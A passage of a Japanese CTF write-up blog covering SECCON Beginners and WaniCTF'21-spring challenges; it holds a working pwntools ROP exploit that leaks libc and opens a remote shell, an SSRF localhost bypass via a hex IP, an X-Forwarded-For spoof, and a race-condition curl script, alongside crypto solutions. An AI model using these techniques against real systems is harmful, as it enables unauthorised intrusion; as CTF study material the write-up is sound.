("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0016| 0x7fffffffe218 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0024| 0x7fffffffe220 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0032| 0x7fffffffe228 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0040| 0x7fffffffe230 ("A%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0048| 0x7fffffffe238 ("iA%8A%NA%jA%9A%OA%kA%PA%") 0056| 0x7fffffffe240 ("%jA%9A%OA%kA%PA%") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011c9 in main () gdb-peda$ patto HA%dA%3A%IA%eA%4A%JA%fA HA%dA%3A%IA%eA%4A%JA%fA found at offset: 264
次に、puts を呼び出して puts のアドレスをリークさせる。リークさせたアドレスを使って libc のベースアドレスを求める。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './chall' LIBC = './libc-2.27.so' HOST = 'beginners-rop.quals.beginners.seccon.jp' PORT = 4102 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): # Leak libc_base puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 264 p = b'A' * offset p += rop.chain() io.sendline(p) io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
上記のスクリプトを実行すると、以下のように表示され、libc のアドレスを求めることができた。
$ python3 exploit.py REMOTE [*] '/root/workdir/beginners_rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 14 cached gadgets for './chall' [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done [*] '/root/workdir/beginners_rop/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x404018 [*] 0x0000: 0x401283 pop rdi; ret 0x0008: 0x404018 [arg0] rdi = got.puts 0x0010: 0x401074 puts 0x0018: 0x401196 main() [*] puts_addr: 0x7f359d388aa0 [*] libc_base: 0x7f359d308000 [*] Switching to interactive mode $
最後に、ROPgadget で libc の ROPチェインを作って実行させれば、シェルを取ることができる。
$ ROPgadget --binary ./libc-2.27.so --ropchain # snip - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret p += pack('<Q', 0x00000000003eb1a0) # @ .data p += pack('<Q', 0x0000000000043ae8) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8 p += pack('<Q', 0x00000000000b15a5) # xor rax, rax ; ret p += pack('<Q', 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret p += pack('<Q', 0x00000000000215bf) # pop rdi ; ret p += pack('<Q', 0x00000000003eb1a0) # @ .data p += pack('<Q', 0x0000000000023eea) # pop rsi ; ret p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8 p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8 p += pack('<Q', 0x00000000000b15a5) # xor rax, rax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret p += pack('<Q', 0x00000000000013c0) # syscall
python3 用に少し調整して、バッファオーバフロー後に実行させるようにする。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './chall' LIBC = './libc-2.27.so' HOST = 'beginners-rop.quals.beginners.seccon.jp' PORT = 4102 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): # Leak libc_base puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 264 p = b'A' * offset p += rop.chain() io.sendline(p) io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') # ROP (REMOTE only) offset = 264 p = b'A' * offset p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000043ae8) # pop rax ; ret p += b'/bin//sh' p += pack(libc_base + 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b15a5) # xor rax, rax ; ret p += pack(libc_base + 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x00000000000215bf) # pop rdi ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000023eea) # pop rsi ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b15a5) # xor rax, rax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret p += pack(libc_base + 0x00000000000013c0) # syscall io.sendline(p) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
上記のスクリプトを実行すると、シェルを取ることができた。
$ python3 exploit.py REMOTE [*] '/root/workdir/beginners_rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 14 cached gadgets for './chall' [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done [*] '/root/workdir/beginners_rop/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x404018 [*] 0x0000: 0x401283 pop rdi; ret 0x0008: 0x404018 [arg0] rdi = got.puts 0x0010: 0x401074 puts 0x0018: 0x401196 main() [*] puts_addr: 0x7f522e1f6aa0 [*] libc_base: 0x7f522e176000 [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96{\x17R\x7f $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{H4rd_ROP_c4f3}
ctf4b{H4rd_ROP_c4f3}
web
check_url
Have you ever used
curl
?
https://check-url.quals.beginners.seccon.jp/
index.php 8524943bf9415bf35516300bf6e16030e0cdd583
想定難易度: Easy
以下の URL にアクセスすると、画像のように表示される。
https://check-url.quals.beginners.seccon.jp/?url=https://www.example.com
GETパラメータで指定した URL のページを iframe 内で表示させている。
index.php は以下のようになっている。
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
127.0.0.1 にアクセスすれば、フラグが表示される。
以下のページを参考に http://0x7f000001
と指定してみると、フラグが表示された。
https://hackerone.com/reports/303378
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
json
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/
json.tar.gz ce98dc233a9d77370045f306eb80cf73a17016f3
想定難易度: Medium
https://json.quals.beginners.seccon.jp/ にそのままアクセスすると、以下のように表示される。
HTTP ヘッダに X-Forwarded-For: 192.168.111.1
を指定して開いたところ、内部ページにアクセスすることができた。
ただし、Select item で Flag を指定して Submit しても Error が表示されてしまう。
./json/bff/main.go の該当する処理を確認してみると、以下のようになっていた。
r.POST("/", func(c *gin.Context) { // get request body body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(400, gin.H{"error": "Failed to read body."}) return } // parse json var info Info if err := json.Unmarshal(body, &info); err != nil { c.JSON(400, gin.H{"error": "Invalid parameter."}) return } // validation if info.ID < 0 || info.ID > 2 { c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."}) return } if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return } // get data from api server req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body)) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } req.Header.Set("Content-Type", "application/json") client := new(http.Client) resp, err := client.Do(req) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } defer resp.Body.Close() result, err := ioutil.ReadAll(resp.Body) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } c.JSON(200, gin.H{"result": string(result)}) })
試しに id を2つ指定してリクエストを投げてみたところ、フラグが表示された。
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
cant_usb_db
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
cant_use_db.tar.gz 1cded20dd165e1eca3cc12bee2010e65fe6ba9ea
想定難易度: Medium
https://cant-use-db.quals.beginners.seccon.jp/ にアクセスすると、以下のように表示された。 フラグを取得するには、Noodles 2つ と Soup 1 つを購入する必要がある。
app/app.py の購入処理を確認してみると、以下のようになっていた。排他制御はなく、なぜか sleep が入っている。
# snip @app.route("/buy_noodles", methods=["POST"]) def buy_noodles(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 10000: noodles += 1 open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 10000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸$10000" return "ERROR: INSUFFICIENT FUNDS" @app.route("/buy_soup", methods=["POST"]) def buy_soup(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 20000: soup += 1 open(f"./users/{user_id}/soup.txt", "w").write(str(soup)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 20000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸💸$20000" return "ERROR: INSUFFICIENT FUNDS" # snip
curl を 3つほぼ同時に実行して、noodle 2 つと soup 1 つを素早く購入する。
購入後、少し待ってから https://cant-use-db.quals.beginners.seccon.jp/eat にアクセスすれば、フラグが手に入る。
#!/bin/bash curl -c cookie.txt https://cant-use-db.quals.beginners.seccon.jp/ --insecure -s > /dev/null curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s & curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s & curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_soup --insecure -s & sleep 5; curl -b cookie.txt https://cant-use-db.quals.beginners.seccon.jp/eat --insecure
上記を実行してみると、フラグが表示された。
$ bash -x ./solve.sh + curl -c cookie.txt https://cant-use-db.quals.beginners.seccon.jp/ --insecure -s + curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s + curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s + curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_soup --insecure -s + sleep 5 💸💸$20000💸$10000💸$10000+ curl -b cookie.txt https://cant-use-db.quals.beginners.seccon.jp/eat --insecure ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
misc
git-leak
後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61
想定難易度: Easy
.git があるので、git cat-file ですべて取り出して grep するとフラグが表示された。
$ cd dist $ ls -a . .. .git README.md note.md $ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt $ cat output.txt | grep ctf4b ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
depixelization
Can you depixelize it ? depixelization.tar.gz be6484841b5f6086c9f2609fdce5622313308688 想定難易度: Medium
pixelization.py と output.png が与えられている。
フラグ文字列を画像に描き込んで、P、I、X を重ね塗りし、解像度を落としたものを output.png として出力するスクリプトになっている。
import cv2 import numpy as np flag = "**********flag**********" print("FLAG: " + flag) images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) for i in flag: # char2img img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) # pixelization cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) # concat if images.all(): images = img else: images = cv2.hconcat([images, img]) cv2.imwrite("output.png", images)
output.png は、以下のようになっている。
pixelization.py を少し書き換えて、以下の2つの画像を出力するようにした。
import cv2 import numpy as np import string def create_image(chars): images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) for i in chars: # char2img img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) # pixelization cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) # concat if images.all(): images = img else: images = cv2.hconcat([images, img]) return images def main(): images = create_image(" " * 31) cv2.imwrite("empty.png", images) images = create_image(string.printable) cv2.imwrite("string.png", images) if __name__ == '__main__': main()
$ python3 -m pip install opencv-python $ python3 create_images.py $ ls create_images.py empty.png output.png pixelization.py string.png
青い空を見上げればいつもそこに白い猫の画像合成機能で
output.png と empty.png の相違箇所を抽出すると、以下のようになった。
分かりにくい文字は、string.png を見比べてながら、文字を書き出したところフラグになった。
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
WaniCTF'21-spring Writeup
WaniCTF'21-spring について
WaniCTF'21-spring が開催されました。
2021年4月30日午前10時 ~ 2021年5月2日午後8時(58時間)
WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。
picoCTF 同様に難易度は易しく、初心者向けな難易度でした。
個人形式なので、1人で参加しました。結果は、13/353位で 6320点でした。
33問中 30問解くことができたので、その Writeup を紹介します。
WaniCTF'21-spring Writeup(30問)
Crypto
Simple conversion
戻し方を忘れました…
cry-simple-conversion.zip
数値を文字列に変換するだけ
from Crypto.Util.number import long_to_bytes flag = long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229) print(flag)
$ python3 solve.py b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}
Easy
手始めに
cry-easy.zip
encrypt.py は、以下のようになっている。
A と B がマスクされている。またフラグは、1文字ずつ暗号化されている。
with open("flag.txt") as f: flag = f.read().strip() A = REDACTED B = REDACTED plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" assert all(x in plaintext_space for x in flag) def encrypt(plaintext: str, a: int, b: int) -> str: ciphertext = "" for x in plaintext: if "A" <= x <= "Z": x = ord(x) - ord("A") x = (a * x + b) % 26 x = chr(x + ord("A")) ciphertext += x return ciphertext if __name__ == "__main__": ciphertext = encrypt(flag, a=A, b=B) print(ciphertext)
次に、output.txt を見てみると、以下のようになっていた。
HLIM{OCLSAQCZASPYFZASRILLCVMC}
よって、HLIM
が FLAG
になる A と B のパターンを見つけて、復号すればよい。
import itertools def search_ab(): for a, b in itertools.product(range(100), repeat=2): i = 0 for c, m in zip('HLIM', 'FLAG'): x = ord(m) - ord('A') x = (a * x + b) % 26 if x == ord(c) - ord('A'): i += 1 if i == 4: break return a, b def decrypt(ciphertext: str, a: int, b: int) -> str: plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" plaintext = '' for c in ciphertext: if 'A' <= c <= 'Z': mid_x1 = ord(c) - ord('A') for p in plaintext_space: x = ord(p) - ord('A') mid_x2 = (a * x + b) % 26 if mid_x1 == mid_x2: break plaintext += p else: plaintext += c return plaintext def main(): a, b = search_ab() print(f'{a = }, {b = }') with open('output.txt', 'r') as f: enc_flag = f.read() flag = decrypt(enc_flag, a, b) print(flag) if __name__ == '__main__': main()
$ python solve.py a = 5, b = 8 FLAG{WELCOMETOCRYPTOCHALLENGE}
FLAG{WELCOMETOCRYPTOCHALLENGE}
Can't restore the flag?
ちりつもですよ
nc crt.cry.wanictf.org 50000
cry-cant-restore-the-flag.zip
フラグの剰余結果を返すスクリプトになっていた。 入力値が300以下になるように制限されている。ただし、負の数に対する制限はない。
from Crypto.Util.number import bytes_to_long with open("flag.txt", "rb") as f: flag = f.read() flag = bytes_to_long(flag) assert flag <= 10 ** 103 upper_bound = 300 while True: try: mod = int(input("Mod > ")) if mod > upper_bound: print("Don't cheat 🤪") continue result = flag % mod print(result) except Exception: print("Bye 👋") break
フラグの値 * -1 より小さい値を入力すると、以下のようになる。
$ nc crt.cry.wanictf.org 50000 Mod > -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910
Python の場合、mod - result をすれば、元のフラグに戻すことができる。
from Crypto.Util.number import long_to_bytes mod = -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 result = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910 flag = long_to_bytes(result - mod).decode() print(flag)
$ python3 solve.py FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
Extra
いつものRSA?
cry-extra.zip
encrypt.py を見ると、以下のようになっていた。
from Crypto.Util.number import getPrime, bytes_to_long with open("flag.txt", "rb") as f: flag = f.read() p, q = getPrime(1024), getPrime(1024) N = p * q M = 2 * p + q e = 0x10001 def encrypt(plaintext: bytes) -> int: plaintext = bytes_to_long(plaintext) c = pow(plaintext, e, N) return c if __name__ == "__main__": c = encrypt(flag) print(f"{N = }") print(f"{M = }") print(f"{e = }") print(f"{c = }")
以下のような N と M の値が公開されている。
よって、以下の2次方程式を解けば p が判明する。
p が分かれば、あとは通常通り RSA で復号するだけ。
